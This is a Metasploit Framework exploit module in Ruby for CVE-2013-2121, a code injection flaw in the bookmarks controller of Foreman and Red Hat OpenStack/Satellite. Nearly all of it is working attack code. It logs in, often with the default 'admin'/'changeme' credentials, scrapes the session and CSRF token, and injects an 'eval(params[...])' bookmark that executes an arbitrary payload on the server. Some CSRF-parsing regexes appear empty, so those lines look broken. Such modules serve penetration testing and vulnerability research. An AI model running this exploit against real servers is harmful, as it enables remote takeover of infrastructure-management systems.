## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Foreman (Red Hat OpenStack/Satellite) bookmarks/create Code Injection', 'Description' => %q{ This module exploits a code injection vulnerability in the 'create' action of 'bookmarks' controller of Foreman and Red Hat OpenStack/Satellite (Foreman 1.2.0-RC1 and earlier). }, 'Author' => 'Ramon de C Valle', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-2121'], ['CWE', '95'], ['OSVDB', '94671'], ['BID', '60833'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=968166'], ['URL', 'http://projects.theforeman.org/issues/2631'] ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => 'Jun 6 2013', 'DefaultOptions' => { 'PrependFork' => true }, 'DefaultTarget' => 0 ) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'Your username', 'admin']), OptString.new('PASSWORD', [true, 'Your password', 'changeme']), OptString.new('TARGETURI', [ true, 'The path to the application', '/']), ], self.class ) end def exploit print_status("Logging into #{target_url}...") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'users', 'login'), 'vars_post' => { 'login[login]' => datastore['USERNAME'], 'login[password]' => datastore['PASSWORD'] } ) fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil? if res.headers['Location'] =~ /users\/login$/ fail_with(Exploit::Failure::NoAccess, 'Authentication failed') else session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/ fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil? end print_status('Retrieving the CSRF token for this session...') res = send_request_cgi( 'cookie' => "_session_id=#{session}", 'method' => 'GET', 'uri' => normalize_uri(target_uri) ) fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil? if res.headers['Location'] =~ /users\/login$/ fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') else csrf_param = $1 if res.body =~ //i csrf_token = $1 if res.body =~ //i if csrf_param.nil? || csrf_token.nil? csrf_param = $1 if res.body =~ //i csrf_token = $1 if res.body =~ //i end fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') if csrf_param.nil? || csrf_token.nil? end payload_param = Rex::Text.rand_text_alpha_lower(rand(9) + 3) print_status("Sending create-bookmark request to #{target_url('bookmarks')}...") res = send_request_cgi( 'cookie' => "_session_id=#{session}", 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bookmarks'), 'vars_post' => { csrf_param => csrf_token, payload_param => payload.encoded, 'bookmark[controller]' => "eval(params[:#{payload_param}])#", 'bookmark[name]' => Rex::Text.rand_text_alpha_lower(rand(9) + 3), 'bookmark[query]' => Rex::Text.rand_text_alpha_lower(rand(9) + 3) } ) end def target_url(*args) (ssl ? 'https' : 'http') + if rport.to_i == 80 || rport.to_i == 443 "://#{vhost}" else "://#{vhost}:#{rport}" end + normalize_uri(target_uri.path, *args) end end